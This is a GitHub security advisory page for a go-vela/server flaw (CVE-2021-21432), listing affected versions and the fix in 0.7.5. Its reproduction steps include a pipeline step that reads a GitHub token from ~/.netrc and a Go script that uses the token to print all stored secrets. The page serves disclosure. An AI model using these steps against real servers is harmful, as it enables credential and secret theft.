Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqM2YtbWhxOC1nbWg0
Reject unauthorized access with GitHub PATs
Impact
What kind of vulnerability is it? Who is impacted?
The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc
file. Steps to reproduce
-
Create Vela server
-
Login to Vela UI
-
Promote yourself to Vela administrator
UPDATE users SET admin = 't' WHERE name = <username>
-
Activate repository within Vela
-
Add
.vela.yml
to the repository with the following contentversion: "1" steps: - name: steal image: alpine commands: - cat ~/.netrc
-
Look at build logs to find the following content
$ cat ~/.netrc machine <GITHUB URL> login x-oauth-basic password <token>
-
Copy the password to be utilized in some later step
-
Add secret(s) to activated repo
-
Copy the following script into
main.go
package main import ( "fmt" "github.com/go-vela/sdk-go/vela" "os" ) func main() { // create client to connect to vela client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil) if err != nil { panic(err) } // add PAT to request client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN")) secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{}) if err != nil { panic(err) } for _, secret := range *secrets { fmt.Println(*secret.Name) fmt.Println(*secret.Value) } }
-
Run the
main.go
with environment specific settingsVELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go
The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.
Patches
Has the problem been patched? What versions should users upgrade to?
- Upgrade to
v0.7.5
or later
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- No known workarounds
References
Are there any links users can visit to find out more?
- https://github.com/go-vela/server/pull/246
- https://docs.github.com/en/[email protected]/rest/reference/apps#check-a-token
For more information
If you have any questions or comments about this advisory
- Email us at [email protected]
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqM2YtbWhxOC1nbWg0
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: almost 3 years ago
Updated: over 1 year ago
CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L
EPSS Percentage: 0.00098
EPSS Percentile: 0.42495
Identifiers: GHSA-8j3f-mhq8-gmh4, CVE-2021-21432
References:
- https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4
- https://nvd.nist.gov/vuln/detail/CVE-2021-21432
- https://github.com/go-vela/server/pull/337
- https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46
- https://github.com/go-vela/server/releases/tag/v0.7.5
- https://pkg.go.dev/github.com/go-vela/server
- https://github.com/advisories/GHSA-8j3f-mhq8-gmh4
Blast Radius: 5.8
Affected Packages
go:github.com/go-vela/server
Dependent packages: 4Dependent repositories: 6
Downloads:
Affected Version Ranges: >= 0.7.0, < 0.7.5
Fixed in: 0.7.5
All affected versions: 0.7.0, 0.7.1, 0.7.2, 0.7.3, 0.7.4
All unaffected versions: 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.2.0, 0.3.0, 0.4.0, 0.4.1, 0.4.2, 0.4.3, 0.5.0, 0.5.1, 0.6.0, 0.6.1, 0.6.2, 0.7.5, 0.8.0, 0.8.1, 0.8.2, 0.8.3, 0.8.4, 0.9.0, 0.9.1, 0.9.2, 0.10.0, 0.10.1, 0.11.0, 0.11.1, 0.12.0, 0.12.1, 0.12.2, 0.13.0, 0.13.1, 0.14.0, 0.14.1, 0.14.2, 0.14.3, 0.15.0, 0.15.1, 0.16.0, 0.16.1, 0.16.2, 0.17.0, 0.18.0, 0.18.1, 0.18.2, 0.19.0, 0.19.1, 0.19.2, 0.20.0, 0.20.1, 0.20.2, 0.20.3, 0.21.0, 0.22.0, 0.22.1, 0.22.2, 0.23.0, 0.23.1, 0.23.2, 0.23.3, 0.23.4, 0.24.0, 0.24.1, 0.24.2, 0.25.0, 0.25.1, 0.25.2